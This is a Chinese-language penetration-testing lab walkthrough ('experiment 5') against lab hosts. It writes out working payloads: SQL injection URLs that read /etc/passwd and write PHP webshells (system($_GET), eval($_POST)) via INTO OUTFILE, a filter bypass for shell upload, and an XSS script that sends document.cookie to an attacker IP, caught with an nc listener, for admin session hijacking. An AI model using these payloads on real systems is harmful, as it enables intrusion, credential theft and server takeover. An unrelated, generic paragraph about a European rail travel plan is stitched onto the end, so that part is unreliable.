experiment 5

SQLi

发现可能的注入点

 

尝试验证注入

根据

http://192.168.35.128/cat.php?id=1' or 1=1%23 发现报错,说明此处非字符型注入

 

http://192.168.35.128/cat.php?id=1 and 1=1 正常显示

 

http://192.168.35.128/cat.php?id=1 and 1=2 无显示

说明此处有注入点并且为数字型注入

 

 

http://192.168.35.128/cat.php?id=1 order by 4时正常显示

 

http://192.168.35.128/cat.php?id=1 order by 5时报错

 

说明当前表中只有4个字段

 

找出显示的字段

 

 有显示的字段为2

 

得到数据库名

得到表名

 

得到字段名

 

得到数据

 

后台登录传马,发现过滤php,换成大写成功getshell

 

 

 

 

 

 

XSS(没有bot只能手动模拟登陆)

 找到可能的XSS漏洞点

测试漏洞是否存在

alert1成功弹窗,说明存在漏洞

写入攻击代码,并在本地设置监听

<script>document.write('<img src="http://192.168.243.133/?'+document.cookie+' "/>');</script>

nc -lvnp 80

管理员登录后得到管理员的cookie信息

带着cookie访问该网页(此处可以用控制台document.cookie="xx"实现),成功以管理员登录

之后寻找注入点

 验证

and 1=1 正常显示

and 1=2 无显示

说明存在sql注入

order by 发现有4个字段

找出显示位 http://192.168.243.135/admin/edit.php?id=2%20and%201=2%20union%20select%201,2,3,4

发现2和3是显示位

读取passwd  http://192.168.243.135/admin/edit.php?id=2%20and%201=2%20union%20select%201,2,load_file(%22/etc/passwd%22),4

读取shadow 时无回显 可能是权限不够

 

寻找暴露的目录信息,尝试写入

http://192.168.179.130/admin/edit.php?id=0%20union%20select%201,2,3,4%20into%20outfile%20%22/var/www/classes/test.php%22

访问时404可能是没有写权限

 

尝试其他目录(源码中有css目录)

 再尝试写入,访问发现有回显

ok,这个目录可以利用了,基本可以为所欲为了

写入命令执行 

http://192.168.243.135/admin/edit.php?id=0%20union%20select%201,2,%22%3C?php%20system($_GET[%27a%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/test.php%22

 

写入一句话

http://192.168.243.135/admin/edit.php?id=0%20union%20select%201,2,%22%3C?php%20@eval($_POST[%27a%27]);%20?%3E%22,4%20into%20outfile%20%22/var/www/css/test4.php%22

 成功拿到shell

 

转载于:https://www.cnblogs.com/P201521410042/p/8898120.html

experiment 5 europe by rail代码是一个旅行计划,基于铁路交通的方式在欧洲进行探险和探索。这个计划的代码是为了方便旅行者们能够在欧洲境内的地方之间自由地旅行,借助欧洲发达的铁路网络。 这个计划的代码涉及多个方面。首先,它会提供欧洲各个国家之间的最佳铁路路线,以确保旅行者们能够快速、便捷地到达目的地。它会考虑到不同国家之间的距离、交通状况和时间,以优化旅行路线并减少时间浪费。 其次,这个代码还会为旅行者们提供关于每个城市的详细信息。它会包括各个城市的历史、文化、风景名胜和当地特色,以帮助旅行者更好地了解和规划他们的旅行。 此外,这个代码还会提供有关订票、票价和时间表的信息。它可以帮助旅行者预订适合他们时间和预算的火车票,并提供最新的票价和时刻表,以确保旅行者能够得到最准确和实时的信息。 最后,这个代码还会包括旅行者们可能需要的其他信息,如旅行保险、当地交通和住宿选择等。它可以为旅行者提供相关的建议和推荐,以确保他们能够在旅途中得到充分的保障和便利。 总结来说,experiment 5 europe by rail代码是一个为旅行者们提供欧洲铁路旅行计划的代码。它会提供最佳的路线、详细的城市信息、准确的票价和时刻表,以及其他旅行者可能需要的相关信息。通过这个代码,旅行者们可以方便地探索欧洲各个国家,并享受到丰富多样的旅行体验。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值